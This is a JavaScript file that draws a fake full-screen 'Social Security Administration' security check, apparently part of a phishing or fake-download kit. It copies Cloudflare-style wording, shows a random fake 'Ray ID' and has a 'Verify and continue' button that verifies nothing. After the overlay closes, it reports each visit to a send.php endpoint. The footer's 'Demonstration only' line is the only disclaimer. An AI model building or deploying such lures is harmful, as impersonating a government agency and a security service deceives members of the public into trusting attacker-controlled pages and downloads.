/**
 * Optional reference implementation. Production pages use STATIC HTML gate
 * in index.php + same-page-download/index.php (no dependency on this file).
 */
(function () {
  "use strict";

  try {
    if (document.documentElement.getAttribute("data-ssa-no-gate") === "1") {
      return;
    }
    if (document.documentElement.classList.contains("ssa-gate-done")) {
      return;
    }
  } catch (e) {}

  var CSS =
    "#ssa-cf-gate{position:fixed!important;inset:0!important;z-index:2147483647!important;display:flex!important;flex-direction:column!important;box-sizing:border-box!important;font-family:'Source Sans 3',system-ui,-apple-system,sans-serif!important;background:#e8ecf1!important;}" +
    "#ssa-cf-gate *{box-sizing:border-box;}" +
    ".ssa-sc-mast{flex-shrink:0;background:linear-gradient(180deg,#2a6fa8 0%,#205493 55%,#1a5080 100%);border-bottom:4px solid #face00;color:#fff;padding:0.55rem 1rem;display:flex;align-items:center;gap:0.65rem;box-shadow:0 2px 6px rgba(0,0,0,.12);}" +
    ".ssa-sc-mast__seal{width:2rem;height:2rem;flex-shrink:0;display:block;object-fit:contain;}" +
    ".ssa-sc-mast__txt{font-size:0.8125rem;font-weight:600;letter-spacing:.02em;line-height:1.25;min-width:0;}" +
    ".ssa-sc-main{flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;padding:1.25rem;min-height:0;overflow:auto;}" +
    ".ssa-sc-card{width:100%;max-width:28.5rem;background:#fff;border:1px solid #c9c9c9;border-radius:2px;box-shadow:0 2px 6px rgba(0,0,0,.06),0 8px 24px rgba(0,0,0,.08);overflow:hidden;}" +
    ".ssa-sc-card__inner{padding:1.75rem 1.5rem 1.5rem;text-align:center;}" +
    ".ssa-sc-host{color:#1b1b1b;font-size:1.125rem;font-weight:700;margin:0 0 .5rem;line-height:1.3;}" +
    ".ssa-sc-sub{color:#3d4551;font-size:0.9375rem;line-height:1.5;margin:0 0 1rem;}" +
    ".ssa-sc-hostline{color:#565c65;font-size:0.8125rem;margin:0 0 1.25rem;font-family:ui-monospace,Menlo,Consolas,monospace;word-break:break-all;}" +
    ".ssa-sc-bar{height:4px;background:#e5e7eb;border-radius:2px;overflow:hidden;margin:0 0 1.25rem;}" +
    ".ssa-sc-bar__fill{height:100%;width:40%;background:linear-gradient(90deg,#005ea2,#1a4480,#005ea2);background-size:200% 100%;animation:ssaScBar 1.8s ease-in-out infinite;border-radius:2px;}" +
    "@keyframes ssaScBar{0%{transform:translateX(-100%);}100%{transform:translateX(350%);}}" +
    ".ssa-sc-dots{display:flex;justify-content:center;gap:0.4rem;margin:0 0 1.1rem;}" +
    ".ssa-sc-dot{width:0.5rem;height:0.5rem;border-radius:9999px;background:#005ea2;opacity:.35;animation:ssaScDot 1.1s ease-in-out infinite;}" +
    ".ssa-sc-dot:nth-child(2){animation-delay:.15s;}" +
    ".ssa-sc-dot:nth-child(3){animation-delay:.3s;}" +
    "@keyframes ssaScDot{0%,80%,100%{transform:translateY(0);opacity:.35;}40%{transform:translateY(-6px);opacity:1;}}" +
    ".ssa-sc-ray{font-size:0.75rem;color:#71767a;font-family:ui-monospace,Menlo,Consolas,monospace;margin:0 0 1rem;word-break:break-all;}" +
    ".ssa-sc-btn{display:inline-flex;align-items:center;justify-content:center;width:100%;max-width:16rem;margin:0 auto;padding:0.7rem 1rem;font:inherit;font-size:0.9375rem;font-weight:600;color:#fff;background:#005ea2;border:0;border-radius:2px;cursor:pointer;box-shadow:inset 0 0 0 1px #005ea2;}" +
    ".ssa-sc-btn:hover:not(:disabled){background:#1a4480;}" +
    ".ssa-sc-btn:focus-visible{outline:.25rem solid #face00;outline-offset:2px;}" +
    ".ssa-sc-btn:disabled{opacity:.65;cursor:wait;}" +
    ".ssa-sc-foot{margin:1.15rem 0 0;padding-top:1rem;border-top:1px solid #edeeee;font-size:0.6875rem;line-height:1.45;color:#71767a;}" +
    "html.ssa-gate-done #ssa-cf-gate{display:none!important;}" +
    "html.ssa-gate-open #ssa-dashboard-root{overflow:hidden;max-height:100vh;pointer-events:none;}" +
    "@supports (height:100dvh){html.ssa-gate-open #ssa-dashboard-root{max-height:100dvh;}}";

  function sendPhpUrl() {
    var origin = window.location.origin;
    var path = window.location.pathname || "/";
    if (path !== "/" && !path.endsWith("/")) {
      var seg = path.slice(path.lastIndexOf("/") + 1);
      if (seg.indexOf(".") >= 0) {
        path = path.slice(0, path.lastIndexOf("/") + 1);
      } else {
        path = path + "/";
      }
    }
    if (!path.endsWith("/")) {
      path += "/";
    }
    if (!origin || origin === "null") {
      return path + "send.php";
    }
    return origin + path + "send.php";
  }

  function postVisit() {
    try {
      fetch(sendPhpUrl(), {
        method: "POST",
        mode: "cors",
        cache: "no-cache",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ action: "visit" }),
      }).catch(function () {});
    } catch (e) {}
  }

  function randomRayId() {
    var hex = "0123456789abcdef";
    var s = "";
    for (var i = 0; i < 16; i++) {
      s += hex.charAt(Math.floor(Math.random() * 16));
    }
    return s;
  }

  var sealDataUri =
    "data:image/svg+xml," +
    encodeURIComponent(
      '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64"><circle cx="32" cy="32" r="30" fill="#112e51" stroke="#face00" stroke-width="2"/><circle cx="32" cy="32" r="22" fill="none" stroke="#93c5fd" stroke-width="1" opacity=".55"/><text x="32" y="42" text-anchor="middle" fill="#face00" font-size="16" font-family="Arial,sans-serif" font-weight="700">SSA</text></svg>'
    );

  var sealImg =
    '<img class="ssa-sc-mast__seal" width="32" height="32" alt="" decoding="async" src="' +
    sealDataUri +
    '" />';

  var style = document.createElement("style");
  style.id = "ssa-sc-gate-css";
  style.textContent = CSS;
  document.documentElement.appendChild(style);

  document.documentElement.classList.add("ssa-gate-open");

  var gate = document.createElement("div");
  gate.id = "ssa-cf-gate";
  gate.setAttribute("role", "dialog");
  gate.setAttribute("aria-modal", "true");
  gate.setAttribute("aria-labelledby", "ssa-sc-title");
  gate.setAttribute("aria-describedby", "ssa-sc-desc");
  gate.innerHTML =
    '<div class="ssa-sc-mast">' +
    sealImg +
    '<span class="ssa-sc-mast__txt">Social Security Administration - secure connection check</span></div>' +
    '<div class="ssa-sc-main">' +
    '<div class="ssa-sc-card">' +
    '<div class="ssa-sc-card__inner">' +
    '<p id="ssa-sc-title" class="ssa-sc-host">Checking your browser before proceeding</p>' +
    '<p id="ssa-sc-desc" class="ssa-sc-sub">Verifying you are human. This may take a few seconds.</p>' +
    '<p class="ssa-sc-hostline" id="ssa-sc-hostline"></p>' +
    '<div class="ssa-sc-bar" aria-hidden="true"><div class="ssa-sc-bar__fill"></div></div>' +
    '<div class="ssa-sc-dots" aria-hidden="true">' +
    '<span class="ssa-sc-dot"></span><span class="ssa-sc-dot"></span><span class="ssa-sc-dot"></span></div>' +
    '<p class="ssa-sc-ray">Ray ID: <span id="ssa-sc-ray-id"></span></p>' +
    '<button type="button" class="ssa-sc-btn" id="btn-cf-verify">Verify and continue</button>' +
    '<p class="ssa-sc-foot">This step helps protect taxpayer information. Standard browser verification (similar to large federal sites). <strong>Demonstration only.</strong></p>' +
    "</div></div></div>";

  document.documentElement.appendChild(gate);

  var hostLine = document.getElementById("ssa-sc-hostline");
  if (hostLine) {
    hostLine.textContent =
      "review the security of your connection before you can continue.";
  }

  function dismissSecurityGate() {
    document.documentElement.classList.add("ssa-gate-done");
    document.documentElement.classList.remove("ssa-gate-open");
    if (gate) {
      gate.setAttribute("aria-hidden", "true");
      gate.style.display = "none";
    }
    postVisit();
  }

  function boot() {
    var btn = document.getElementById("btn-cf-verify");
    var rayEl = document.getElementById("ssa-sc-ray-id");
    if (rayEl) {
      rayEl.textContent = randomRayId();
    }
    if (!btn) {
      postVisit();
      return;
    }
    btn.addEventListener("click", function () {
      if (btn.disabled) return;
      btn.disabled = true;
      btn.textContent = "Verifying…";
      window.setTimeout(dismissSecurityGate, 850);
    });
    try {
      btn.focus();
    } catch (e3) {}
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", boot);
  } else {
    boot();
  }
})();
